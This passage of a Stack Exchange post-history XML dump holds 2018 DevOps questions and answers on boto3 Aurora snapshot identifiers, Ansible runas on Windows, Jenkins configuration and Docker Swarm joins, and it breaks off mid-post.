  <row Id="12997" PostHistoryTypeId="1" PostId="4147" RevisionGUID="b88cb58c-bbfe-49d9-8b29-1df042edb449" CreationDate="2018-05-22T18:37:21.260" UserId="7969" Text="How do I achieve Continuous Integration and Continuous Delivery (Ci-Cd) via JMeter?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12998" PostHistoryTypeId="3" PostId="4147" RevisionGUID="b88cb58c-bbfe-49d9-8b29-1df042edb449" CreationDate="2018-05-22T18:37:21.260" UserId="7969" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;jenkins-plugins&gt;&lt;continuous-deployment&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12999" PostHistoryTypeId="33" PostId="4078" RevisionGUID="41423c28-c50d-4608-b41d-1d05557e2324" CreationDate="2018-05-22T20:06:43.740" UserId="786" Comment="19" />
  <row Id="13000" PostHistoryTypeId="50" PostId="3066" RevisionGUID="29835326-21c9-42fc-a35f-b311aea17a67" CreationDate="2018-05-22T20:22:21.533" UserId="-1" />
  <row Id="13001" PostHistoryTypeId="2" PostId="4148" RevisionGUID="63d5c59e-872e-4d65-899a-15c3e1fb28ff" CreationDate="2018-05-22T20:22:58.893" UserId="4883" Text="    current_date = str(dt.now().strftime('%Y-%m-%d'))&#xD;&#xA;    target_cluster_snapshot_arn= current_date+'_Development_Aurora'&#xD;&#xA;&#xD;&#xA;    response = TARGET_CLIENT.copy_db_cluster_snapshot(&#xD;&#xA;        SourceDBClusterSnapshotIdentifier=source_cluster_snapshot_arn,&#xD;&#xA;        TargetDBClusterSnapshotIdentifier=target_cluster_snapshot_arn,&#xD;&#xA;        KmsKeyId='arn:aws:kms:us-west-2:xxxxxxx:key/axxxxxx-e326-4df2-8274-73f87ff02f37',&#xD;&#xA;        CopyTags=True,&#xD;&#xA;        Tags=[&#xD;&#xA;            {&#xD;&#xA;                'Key': 'Deletion_Date',&#xD;&#xA;                'Value': (dt.now() + datetime.timedelta(days=30)).strftime('%Y-%m-%d')&#xD;&#xA;            },&#xD;&#xA;        ],&#xD;&#xA;        SourceRegion=SOURCE_REGION&#xD;&#xA;    )&#xD;&#xA;&#xD;&#xA;While using the above code in Python I am getting the error as &#xD;&#xA;    &#xD;&#xA;    botocore.exceptions.ClientError: An error occurred (InvalidParameterValue) when calling the CopyDBClusterSnapshot operation: Invalid cluster snapshot identifier:  2018-05-22_Development_Aurora&#xD;&#xA;&#xD;&#xA;But when i am hardcoding the value in TargerDBClusterSnapshotIdnetifier like below, its working fine&#xD;&#xA;&#xD;&#xA;    response = TARGET_CLIENT.copy_db_cluster_snapshot(&#xD;&#xA;        SourceDBClusterSnapshotIdentifier=source_cluster_snapshot_arn,&#xD;&#xA;        TargetDBClusterSnapshotIdentifier='PrashastTest',&#xD;&#xA;        KmsKeyId='arn:aws:kms:us-west-2:xxxxxxx:key/xxxxxxb3-e326-4df2-8274-73f87ff02f37',&#xD;&#xA;        CopyTags=True,&#xD;&#xA;        Tags=[&#xD;&#xA;            {&#xD;&#xA;                'Key': 'Deletion_Date',&#xD;&#xA;                'Value': (dt.now() + datetime.timedelta(days=30)).strftime('%Y-%m-%d')&#xD;&#xA;            },&#xD;&#xA;        ],&#xD;&#xA;        SourceRegion=SOURCE_REGION&#xD;&#xA;    )&#xD;&#xA;&#xD;&#xA;Any pointers why is this happening?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13002" PostHistoryTypeId="1" PostId="4148" RevisionGUID="63d5c59e-872e-4d65-899a-15c3e1fb28ff" CreationDate="2018-05-22T20:22:58.893" UserId="4883" Text="Cross Region Copy of Aurora Snapshots" ContentLicense="CC BY-SA 4.0" />
  <row Id="13003" PostHistoryTypeId="3" PostId="4148" RevisionGUID="63d5c59e-872e-4d65-899a-15c3e1fb28ff" CreationDate="2018-05-22T20:22:58.893" UserId="4883" Text="&lt;amazon-web-services&gt;&lt;python&gt;&lt;amazon-rds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13004" PostHistoryTypeId="50" PostId="3226" RevisionGUID="6c6b24ac-378e-4273-abd0-6f4cbea19bb1" CreationDate="2018-05-22T23:22:23.040" UserId="-1" />
  <row Id="13005" PostHistoryTypeId="2" PostId="4149" RevisionGUID="630bdd63-5d7a-46a3-8b52-db2ac2077e65" CreationDate="2018-05-22T23:28:56.927" UserId="47" Text="Since you're talking about making delivery/deployment decisions based on the results provided by your script(s) you need to communicate to the team(s) responsible with maintaining the official CI/CD pipeline implementation for your organisation.&#xD;&#xA;&#xD;&#xA;If they're using Jenkins and a particular pipeline implementation (multiple technological approaches are possible) compatible with the way you hooked up your script into Jenkins locally they may be able to directly use your approach. &#xD;&#xA;&#xD;&#xA;Even if that's not directly possible, there probably still are ways of including your tests in the CI/CD pipeline, only with a more or less different implementation.&#xD;&#xA;&#xD;&#xA;Note that there may be related technical and/or logistic questions/requirements that *might* need to be addressed depending on your organisation particularities, for example: ownership, development/maintenance process and policies, SLAs for the tests, script(s) and/or the resources for their execution.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13006" PostHistoryTypeId="5" PostId="4149" RevisionGUID="fbc65cd3-bfaf-43a0-b1f3-0d4c2b49f30d" CreationDate="2018-05-22T23:46:10.450" UserId="47" Comment="added 332 characters in body" Text="Since you're talking about making delivery/deployment decisions based on the results provided by your script(s) you need to communicate with the team(s) responsible with maintaining the official CI/CD pipeline implementation for your organisation.&#xD;&#xA;&#xD;&#xA;If they're using Jenkins and a particular pipeline implementation (multiple technological approaches are possible) compatible with the way you hooked up your script into Jenkins locally they may be able to directly use your approach. &#xD;&#xA;&#xD;&#xA;Even if that's not directly possible, there probably still are ways of including your tests in the CI/CD pipeline, only with a more or less different implementation.&#xD;&#xA;&#xD;&#xA;Note that there may be related technical and/or logistic questions/requirements that *might* need to be addressed depending on your organisation particularities, for example: ownership, development/maintenance process and policies, SLAs for the tests, script(s) and/or the resources for their execution.&#xD;&#xA;&#xD;&#xA;Even if you don't get your tests integrated at first, you can still run them for every repository commit using your private Jenkins setup and make the results available for everyone to see. In time, if those results prove useful to others they may support your initiative and help with a reconsideration of the initial decision." ContentLicense="CC BY-SA 4.0" />
  <row Id="13007" PostHistoryTypeId="2" PostId="4150" RevisionGUID="40614be8-7a40-4617-a924-ad963bd65861" CreationDate="2018-05-23T00:03:15.047" UserId="405" Text="Your proposed snapshot-id is not syntactically valid.  When you tried hard-coding the value, you used a valid identifier.  &#xD;&#xA;&#xD;&#xA;Underscores are not allowed, and the identifier can't begin with a number.&#xD;&#xA;&#xD;&#xA;Here are the constraints on snapshot identifiers, from the API Reference:&#xD;&#xA;&#xD;&#xA;&gt;**`DBClusterSnapshotIdentifier`**&#xD;&#xA;&#xD;&#xA;&gt;The identifier of the DB cluster snapshot. This parameter is stored as a lowercase string.&#xD;&#xA;&#xD;&#xA;&gt;Constraints:&#xD;&#xA;&#xD;&#xA;&gt;* Must contain from 1 to 63 letters, numbers, or hyphens.&#xD;&#xA;&#xD;&#xA;&gt;* First character must be a letter.&#xD;&#xA;&#xD;&#xA;&gt;* Cannot end with a hyphen or contain two consecutive hyphens.&#xD;&#xA;&#xD;&#xA;&gt;https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_CreateDBClusterSnapshot.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="13008" PostHistoryTypeId="2" PostId="4151" RevisionGUID="387d084c-5b9e-40fa-9df2-f2993f1d141d" CreationDate="2018-05-23T00:12:27.937" UserId="47" Text="The syntax failures are caused by the presence of the `{{...}}` [expression][1] blocks (normally used for filling the template output with the corresponding content) inside the `{%...%}` [statement][2] blocks.&#xD;&#xA;&#xD;&#xA;I only used standalone jinja2 templates, so I'm not 100% certain if this applies to Ansible jinja templates as well, but I suspect so. In the Jinja2 `{%...%}` statement blocks variables are referenced directly (and variable assignments are done in `{% set ...%}` statements), so what you're after may be along these lines:&#xD;&#xA;&#xD;&#xA;    {% set docker_compose_mq = &lt;string-passed from Jenkins&gt; %}&#xD;&#xA;    {% set docker_compose_profiles = &quot;string&quot; %}&#xD;&#xA;    &#xD;&#xA;    {% if risk_docker_compose_mq == &quot;string&quot; %}&#xD;&#xA;      {% set risk_docker_compose_profiles = &quot;string1&quot; %}&#xD;&#xA;    {% endif %}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jinja.pocoo.org/docs/2.10/templates/#expressions&#xD;&#xA;  [2]: http://jinja.pocoo.org/docs/2.10/templates/#list-of-control-structures" ContentLicense="CC BY-SA 4.0" />
  <row Id="13012" PostHistoryTypeId="2" PostId="4153" RevisionGUID="0c1f75d5-db8a-4f0e-8335-f903a45cebb6" CreationDate="2018-05-23T05:26:33.113" UserId="6544" Text="I am running several tasks on a Windows 2016 server with Ansible including:&#xD;&#xA;&#xD;&#xA;* Joining it to a domain `SOMEDOMAIN`&#xD;&#xA;* `SOMEDOMAIN\SOMEUSER` has been added to the local administrators group on the machine with Ansible.&#xD;&#xA;* Running several tasks on the domain-connected machine as a domain-user `SOMEDOMAIN\SOMEUSER`&#xD;&#xA;&#xD;&#xA;The last bit requires me to run Ansible tasks using `become` and `runas` (as per the [Ansible Documentation](http://docs.ansible.com/ansible/latest/user_guide/become.html#become-and-windows) on the topic). &#xD;&#xA;&#xD;&#xA;## Problem&#xD;&#xA;&#xD;&#xA;Unfortunately, even a trivial example like the below fails:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - name: add to local admin&#xD;&#xA;      hosts: all&#xD;&#xA;      vars:&#xD;&#xA;        ansible_become_password: `some_password`&#xD;&#xA;      tasks:&#xD;&#xA;      - win_whoami:&#xD;&#xA;        become: yes&#xD;&#xA;        become_user: ''SOMEDOMAIN\SOMEUSER''&#xD;&#xA;        become_method: runas&#xD;&#xA;&#xD;&#xA;The error message reads &#xD;&#xA;&#xD;&#xA;    The full traceback is:&#xD;&#xA;    Exception calling &quot;RunAsUser&quot; with &quot;7&quot; argument(s): &quot;LogonUser failed (Logon failure: the user has not been granted&#xD;&#xA;    the requested logon type at this computer, Win32ErrorCode 1385)&quot;&#xD;&#xA;    At line:1087 char:9&#xD;&#xA;    +         $result = [Ansible.BecomeUtil]::RunAsUser($username, $passwor ...&#xD;&#xA;    +         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&#xD;&#xA;        + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException&#xD;&#xA;        + FullyQualifiedErrorId : Win32Exception&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    fatal: [SERVERNAME]: FAILED! =&gt; {&#xD;&#xA;        &quot;changed&quot;: false,&#xD;&#xA;        &quot;msg&quot;: &quot;Failed to become user SOMEDOMAIN\\SOMEUSER: Exception calling \&quot;RunAsUser\&quot; with \&quot;7\&quot; argument(s): \&quot;LogonUser failed (Logon failure: the user has not been granted the requested logon type at this computer, Win32ErrorCode 1385)\&quot;&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;## Attempts&#xD;&#xA;&#xD;&#xA;* I do understand this is related to a privilege missing on the machine.&#xD;&#xA;* I also know that group policies get applied on the machine when it joins the domain, so its possibly something related to the group policy. (I don't have access to the domain controller to validate this)&#xD;&#xA;&#xD;&#xA;I checked the Group Policy &quot;Access this computer from the Network&quot;. It is set to `Everyone, Administrators, Backup Operators, Users` which is the default setting. My account is part of the `Administrators` group, so this doesn't look like the cause.&#xD;&#xA;&#xD;&#xA;## The Question&#xD;&#xA;&#xD;&#xA;What other possible causes are there? Or in other words, what other privileges are needed to make Ansible `become` with the `runas` method work on domain-connected Windows machines?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13013" PostHistoryTypeId="1" PostId="4153" RevisionGUID="0c1f75d5-db8a-4f0e-8335-f903a45cebb6" CreationDate="2018-05-23T05:26:33.113" UserId="6544" Text="problems running Ansible with become on domain-connected Windows Server" ContentLicense="CC BY-SA 4.0" />
  <row Id="13014" PostHistoryTypeId="3" PostId="4153" RevisionGUID="0c1f75d5-db8a-4f0e-8335-f903a45cebb6" CreationDate="2018-05-23T05:26:33.113" UserId="6544" Text="&lt;ansible&gt;&lt;windows&gt;&lt;active-directory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13015" PostHistoryTypeId="2" PostId="4154" RevisionGUID="e1fa6063-c28f-4b09-bcf2-3e6e38f6225c" CreationDate="2018-05-23T06:05:26.057" UserId="6544" Text="(Although I haven't confirmed it yet) my problem resolves down to an issue with group policy, and is likely to be solved with the same answer as this question:&#xD;&#xA;&#xD;&#xA;https://serverfault.com/questions/695839/error-1385-when-executing-runas-on-windows-enterprise-7&#xD;&#xA;&#xD;&#xA;i.e. the required permissions for `become` to work on Windows, seem to be:&#xD;&#xA;&#xD;&#xA;* Allow Logon as a Service&#xD;&#xA;* Allow Logon Locally" ContentLicense="CC BY-SA 4.0" />
  <row Id="13016" PostHistoryTypeId="33" PostId="4121" RevisionGUID="1c28d019-bdb0-49c0-9f11-942237bb63a5" CreationDate="2018-05-23T10:38:12.913" UserId="7873" Comment="20" />
  <row Id="13017" PostHistoryTypeId="2" PostId="4155" RevisionGUID="5f6e19e4-b485-48bd-b7dc-049796bdeb51" CreationDate="2018-05-23T15:40:05.030" UserId="7999" Text="Recently, I used this code snippet (that's part of a regular groovy script located inside the 'vars/' directory) to get the project URL as set in the pipeline project config. Hope this helps.&#xD;&#xA;&#xD;&#xA;    scm.getUserRemoteConfigs()[0].getUrl()&#xD;&#xA;&#xD;&#xA;FYI, it does not expect to have any SCM operation to have taken place.&#xD;&#xA;&#xD;&#xA;For more info, refer to this [SO][1] thread. &#xD;&#xA;&#xD;&#xA;Hopefully, am not violating the devops stackexchange ground rules with this reference to stack overflow.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/38254968/how-do-i-get-the-scm-url-inside-a-jenkins-pipeline-or-multibranch-pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="13018" PostHistoryTypeId="50" PostId="3112" RevisionGUID="2e92ddc2-d901-4bba-a473-fd851b24d58d" CreationDate="2018-05-23T16:30:31.163" UserId="-1" />
  <row Id="13019" PostHistoryTypeId="50" PostId="3910" RevisionGUID="2f4653df-f9fb-4d37-962f-16e078602b40" CreationDate="2018-05-23T18:30:37.653" UserId="-1" />
  <row Id="13020" PostHistoryTypeId="2" PostId="4156" RevisionGUID="7f00a7c8-8cb9-4e67-a9be-77094f17ae08" CreationDate="2018-05-23T19:28:44.553" UserId="8003" Text="Python's `pip` dependency manager is supported by a number of vulnerability scanners (e.g., Snyk, Gitlab's gemnasium, PyUp), but I have not found such a service for scanning dependencies defined in Conda's `environment.yml`.&#xD;&#xA;&#xD;&#xA;Is there a service out there which supports Conda? Can I somehow massage an existing service into scanning these deps?&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;Conda: https://conda.io/docs/&#xD;&#xA;&#xD;&#xA;Anaconda: https://anaconda.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="13021" PostHistoryTypeId="1" PostId="4156" RevisionGUID="7f00a7c8-8cb9-4e67-a9be-77094f17ae08" CreationDate="2018-05-23T19:28:44.553" UserId="8003" Text="Dependency vulnerability scanner for Conda?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13022" PostHistoryTypeId="3" PostId="4156" RevisionGUID="7f00a7c8-8cb9-4e67-a9be-77094f17ae08" CreationDate="2018-05-23T19:28:44.553" UserId="8003" Text="&lt;python&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13023" PostHistoryTypeId="50" PostId="3942" RevisionGUID="743a836f-6f9e-4d16-b9cd-4b61b34fe27b" CreationDate="2018-05-23T19:30:38.523" UserId="-1" />
  <row Id="13024" PostHistoryTypeId="2" PostId="4157" RevisionGUID="8462ff18-4588-4ec3-93c8-0bb65e4c2958" CreationDate="2018-05-23T22:10:04.433" UserId="7228" Text="i am trying to add a new node into my swarm over the internet but it doesn't seem to connect through a poxy.&#xD;&#xA;&#xD;&#xA;i am trying to proxy using caddy. the proxy configuration results in the same as for any other server like proxy_pass in nginx.&#xD;&#xA;&#xD;&#xA;caddy automatically sets up HTTPS for the subdomain and all traffic is set to be redirected from port 80 to 443. my caddy configuration is:&#xD;&#xA;&#xD;&#xA;    swarm.mydomain.com {&#xD;&#xA;        proxy / http://&lt;docker-swarm-manager-ip&gt;:2377 {&#xD;&#xA;            transparent&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;from the docker swarm manager, i get the join-token which gives me something like:&#xD;&#xA;&#xD;&#xA;`docker swarm join --token &lt;some-long-hash&gt; &lt;docker-swarm-manager-ip&gt;:2377`&#xD;&#xA;&#xD;&#xA;on the node i want to connect to the swarm, i have tried the command:&#xD;&#xA;&#xD;&#xA;`sudo docker swarm join --token &lt;some-long-hash&gt; swarm.mydomain.com`&#xD;&#xA;&#xD;&#xA;this gives me the error:&#xD;&#xA;&#xD;&#xA;`Error response from daemon: rpc error: code = Unavailable desc = grpc: the connection is unavailable`&#xD;&#xA;&#xD;&#xA;i then tried specifying the SSL port:&#xD;&#xA;&#xD;&#xA;`sudo docker swarm join --token &lt;some-long-hash&gt; swarm.mydomain.com:443`&#xD;&#xA;&#xD;&#xA;this gives me the error:&#xD;&#xA;&#xD;&#xA;`Error response from daemon: rpc error: code = FailedPrecondition desc = transport: received the unexpected content-type &quot;text/plain; charset=utf-8&quot;`&#xD;&#xA;&#xD;&#xA;i am new to docker swarm and i cant find any similar setup online. any help is appreciated.&#xD;&#xA;&#xD;&#xA;**note:**&#xD;&#xA;&#xD;&#xA; - i am able to ping the manager from the node successfully.&#xD;&#xA; - port 2377 is is open on the manager and the node i want to connect." ContentLicense="CC BY-SA 4.0" />
  <row Id="13025" PostHistoryTypeId="1" PostId="4157" RevisionGUID="8462ff18-4588-4ec3-93c8-0bb65e4c2958" CreationDate="2018-05-23T22:10:04.433" UserId="7228" Text="Docker Swarm join-token not working" ContentLicense="CC BY-SA 4.0" />
  <row Id="13026" PostHistoryTypeId="3" PostId="4157" RevisionGUID="8462ff18-4588-4ec3-93c8-0bb65e4c2958" CreationDate="2018-05-23T22:10:04.433" UserId="7228" Text="&lt;docker&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13027" PostHistoryTypeId="50" PostId="3144" RevisionGUID="efc31f7d-78da-4a69-9681-bdfb029a26cb" CreationDate="2018-05-23T22:30:39.037" UserId="-1" />
  <row Id="13028" PostHistoryTypeId="2" PostId="4158" RevisionGUID="a5d8e952-45c0-449f-93b4-f97f57d4e13d" CreationDate="2018-05-23T22:50:24.800" UserId="8008" Text="I'm still getting into AWS Lambda so I'm not sure if it will help you but I started using a [lambda performance monitoring][1] tool for my functions and it seemed to be working well. I get a message if something breaks in 60 seconds (+ daily reports but that's less important) and it helped me figure out what broke. &#xD;&#xA;&#xD;&#xA;Now, I don't know if you can indeed use Step Functions to fix your issues but I do know you can set up events that trigger a Lambda function whenever a file gets to S3. Here's [a link to s3][2] docs that might help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://dashbird.io/python-lambda-performance-tracking/&#xD;&#xA;  [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/NotificationHowTo.html#how-to-enable-disable-notification-intro" ContentLicense="CC BY-SA 4.0" />
  <row Id="13029" PostHistoryTypeId="5" PostId="4157" RevisionGUID="2ad6dc5f-0693-47b4-bc53-8b0c05c6eaa2" CreationDate="2018-05-24T04:32:02.480" UserId="47" Comment="fixed grammer, improved formatting" Text="I am trying to add a new node into my swarm over the internet but it doesn't seem to connect through a proxy.&#xD;&#xA;&#xD;&#xA;I am trying to proxy using [Caddy][1]. The proxy configuration results in the same as for any other server like proxy_pass in nginx.&#xD;&#xA;&#xD;&#xA;Caddy automatically sets up HTTPS for the subdomain and all traffic is set to be redirected from port 80 to 443. My caddy configuration is:&#xD;&#xA;&#xD;&#xA;    swarm.mydomain.com {&#xD;&#xA;        proxy / http://&lt;docker-swarm-manager-ip&gt;:2377 {&#xD;&#xA;            transparent&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;From the docker swarm manager, I get the join-token which gives me something like:&#xD;&#xA;&#xD;&#xA;    docker swarm join --token &lt;some-long-hash&gt; &lt;docker-swarm-manager-ip&gt;:2377&#xD;&#xA;&#xD;&#xA;On the node I want to connect to the swarm, I have tried the command:&#xD;&#xA;&#xD;&#xA;    sudo docker swarm join --token &lt;some-long-hash&gt; swarm.mydomain.com&#xD;&#xA;&#xD;&#xA;This gives me the error:&#xD;&#xA;&#xD;&#xA;&gt; Error response from daemon: rpc error: code = Unavailable desc = grpc: the connection is unavailable&#xD;&#xA;&#xD;&#xA;I then tried specifying the SSL port:&#xD;&#xA;&#xD;&#xA;    sudo docker swarm join --token &lt;some-long-hash&gt; swarm.mydomain.com:443&#xD;&#xA;&#xD;&#xA;This gives me the error:&#xD;&#xA;&#xD;&#xA;&gt; Error response from daemon: rpc error: code = FailedPrecondition desc = transport: received the unexpected content-type &quot;text/plain; charset=utf-8&quot;&#xD;&#xA;&#xD;&#xA;I am new to docker swarm and I can't find any similar setup online. Any help is appreciated.&#xD;&#xA;&#xD;&#xA;**Note:**&#xD;&#xA;&#xD;&#xA; - I am able to ping the manager from the node successfully.&#xD;&#xA; - port 2377 is is open on the manager and the node I want to connect.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://caddyserver.com/docs" ContentLicense="CC BY-SA 4.0" />
  <row Id="13030" PostHistoryTypeId="5" PostId="4154" RevisionGUID="91120707-f4e2-4565-9362-f3d18fe55325" CreationDate="2018-05-24T06:41:30.150" UserId="6544" Comment="added another solution" Text="My problem resolves down to an issue with group policy, and is likely to be solved with the same answer as this question:&#xD;&#xA;&#xD;&#xA;https://serverfault.com/questions/695839/error-1385-when-executing-runas-on-windows-enterprise-7&#xD;&#xA;&#xD;&#xA;i.e. the required permissions for `become` to work on Windows, seem to be:&#xD;&#xA;&#xD;&#xA;* Allow Logon as a Service&#xD;&#xA;* Allow Logon Locally&#xD;&#xA;&#xD;&#xA;### Alternate Solution&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[reference](https://docs.ansible.com/ansible/2.5/user_guide/become.html#become-and-windows)&#xD;&#xA;&#xD;&#xA;&gt; batch: Runs the process under a batch context that is similar to a&#xD;&#xA;&gt; scheduled task with a password set. This should bypass most WinRM&#xD;&#xA;&gt; restrictions and is useful if the become_user is not allowed to log on&#xD;&#xA;&gt; interactively.&#xD;&#xA;&#xD;&#xA;There is another permission called 'Allow Logon as a Batch Job&quot;. If the domain-user has this permission, the user can run scripts as though they were scheduled tasks.&#xD;&#xA;&#xD;&#xA;You can run your scripts using Ansible `become` and change the logon type to `batch` as shown below: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    win_whoami:&#xD;&#xA;        become: yes&#xD;&#xA;        become_user: ''SOMEDOMAIN\SOMEUSER''&#xD;&#xA;        become_method: runas&#xD;&#xA;        become_flags: logon_type=batch" ContentLicense="CC BY-SA 4.0" />
  <row Id="13031" PostHistoryTypeId="5" PostId="4153" RevisionGUID="a72a1aae-8add-47fc-b5ab-537c0ad85a36" CreationDate="2018-05-24T06:43:44.297" UserId="6544" Comment="added 39 characters in body" Text="I am running several tasks on a Windows 2016 server with Ansible including:&#xD;&#xA;&#xD;&#xA;* Joining it to a domain `SOMEDOMAIN`&#xD;&#xA;* `SOMEDOMAIN\SOMEUSER` has been added to the local administrators group on the machine with Ansible.&#xD;&#xA;* Running several tasks on the domain-connected machine as a domain-user `SOMEDOMAIN\SOMEUSER`&#xD;&#xA;&#xD;&#xA;The last bit requires me to run Ansible tasks using `become` and `runas` (as per the [Ansible Documentation](http://docs.ansible.com/ansible/latest/user_guide/become.html#become-and-windows) on the topic). &#xD;&#xA;&#xD;&#xA;## Problem&#xD;&#xA;&#xD;&#xA;Unfortunately, even a trivial example like the below fails:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - name: add to local admin&#xD;&#xA;      hosts: all&#xD;&#xA;      vars:&#xD;&#xA;        ansible_become_password: `some_password`&#xD;&#xA;      tasks:&#xD;&#xA;      - win_whoami:&#xD;&#xA;        become: yes&#xD;&#xA;        become_user: ''SOMEDOMAIN\SOMEUSER''&#xD;&#xA;        become_method: runas&#xD;&#xA;&#xD;&#xA;The error message reads &#xD;&#xA;&#xD;&#xA;    The full traceback is:&#xD;&#xA;    Exception calling &quot;RunAsUser&quot; with &quot;7&quot; argument(s): &quot;LogonUser failed (Logon failure: the user has not been granted&#xD;&#xA;    the requested logon type at this computer, Win32ErrorCode 1385)&quot;&#xD;&#xA;    At line:1087 char:9&#xD;&#xA;    +         $result = [Ansible.BecomeUtil]::RunAsUser($username, $passwor ...&#xD;&#xA;    +         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&#xD;&#xA;        + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException&#xD;&#xA;        + FullyQualifiedErrorId : Win32Exception&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    fatal: [SERVERNAME]: FAILED! =&gt; {&#xD;&#xA;        &quot;changed&quot;: false,&#xD;&#xA;        &quot;msg&quot;: &quot;Failed to become user SOMEDOMAIN\\SOMEUSER: Exception calling \&quot;RunAsUser\&quot; with \&quot;7\&quot; argument(s): \&quot;LogonUser failed (Logon failure: the user has not been granted the requested logon type at this computer, Win32ErrorCode 1385)\&quot;&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;## Attempts&#xD;&#xA;&#xD;&#xA;* I do understand this is related to a privilege missing on the machine.&#xD;&#xA;* I also know that group policies get applied on the machine when it joins the domain, so its possibly something related to the group policy. (I don't have access to the domain controller to validate this)&#xD;&#xA;&#xD;&#xA;I checked the Group Policy &quot;Access this computer from the Network&quot;. It is set to `Everyone, Administrators, Backup Operators, Users` which is the default setting. My account is part of the `Administrators` group, so this doesn't look like the cause.&#xD;&#xA;&#xD;&#xA;## The Question&#xD;&#xA;&#xD;&#xA;What other possible causes are there? Or in other words, what other privileges (or modifications to the ansible task) are needed to make Ansible `become` with the `runas` method work on domain-connected Windows machines?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13032" PostHistoryTypeId="2" PostId="4159" RevisionGUID="5a525aa4-721a-4fd3-a070-1e230484a785" CreationDate="2018-05-24T07:01:47.753" UserId="8016" Text="I'm not very familiar with Jenkins on Windows, but I imagine your issue lies in the fact installing Jenkins on drives other than `C:\` are more difficult to deal with. Since Jenkins is not running, you'll have to configure `config.xml` by hand.&#xD;&#xA;&#xD;&#xA;Here's [a post on stackoverflow.com][1] that may help you. As they state, you'll probably need to find the **Workspace Root Directory** to `D:\Jenkins\${ITEM_FULL_NAME}\workspace` and **Build Record Root Directory** to `D:\Jenkins\${ITEM_FULL_NAME}\builds` (or whatever values are specific to your environment) in your `config.xml`.&#xD;&#xA;&#xD;&#xA;The post also mentions the *bubble help* info that is useful:&#xD;&#xA;&#xD;&#xA;&gt; This value may include the following variables:&#xD;&#xA;&#xD;&#xA;&gt; - `${JENKINS_HOME}` — Absolute path of the Jenkins home directory&#xD;&#xA;&#xD;&#xA;&gt; - `${ITEM_ROOTDIR}` — Absolute path of the directory where Jenkins stores the configuration and related metadata for a given job&#xD;&#xA;&#xD;&#xA;&gt; - `${ITEM_FULL_NAME}` — The full name of a given job, which may be slash-separated, e.g. foo/bar for the job bar in folder foo&#xD;&#xA;&#xD;&#xA;&gt; The value should normally include `${ITEM_ROOTDIR}` or `${ITEM_FULL_NAME}`, otherwise different jobs will end up sharing the same workspace.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/34854377/how-to-change-workspace-and-build-record-root-directory-on-jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="13036" PostHistoryTypeId="34" PostId="4121" RevisionGUID="3a003e95-dcc9-4631-9a2b-44d04b65a8bf" CreationDate="2018-05-24T12:13:51.467" UserId="7873" Comment="20" />
  <row Id="13037" PostHistoryTypeId="2" PostId="4161" RevisionGUID="0931044e-30a7-49fb-9608-3191d8837bbb" CreationDate="2018-05-24T13:27:26.553" UserId="5058" Text="I'm currenlty trying to connect/join a Linux Docker Swarm cluster with my Windows machine in order to test a stack without sending the stack over and over to my test cluster under Linux. My problem is that I can't join the cluster with my Windows Docker.&#xD;&#xA;&#xD;&#xA;My cluster had initially 1 manager and 4 workers. I recently created and added a new manager to it in order to add my Windows Docker node as manager. With this, I shouldn't have any issue with the manager quorum (since my two managers will be always up, and my Windows Docker could be interrupted at any time).&#xD;&#xA;&#xD;&#xA;I configured my local firewall - and also on each nodes of my Linux cluster - to accept connections on ports (the following can be found at the end of [this documentation](https://docs.docker.com/engine/swarm/swarm-tutorial/)) :&#xD;&#xA;&#xD;&#xA;* TCP port 2377 for cluster management communications&#xD;&#xA;* TCP and UDP port 7946 for communication among nodes&#xD;&#xA;* UDP port 4789 for overlay network traffic&#xD;&#xA;&#xD;&#xA;The advertising network in my cluster is `192.168.0.0/24`, one of my manager's IP address is `192.168.0.100` and my PC's IP address is `192.168.0.143` (same network). They can ping each others and I tested the ports defined before.&#xD;&#xA;&#xD;&#xA;So, when I perform the `docker swarm join-token manager` on a manager I have something like this:&#xD;&#xA;&#xD;&#xA;    docker swarm join --token SWMTKN-1-27hzpcnek5... 192.168.0.200:2377&#xD;&#xA;&#xD;&#xA;If I copy/paste it to my PC:&#xD;&#xA;&#xD;&#xA;    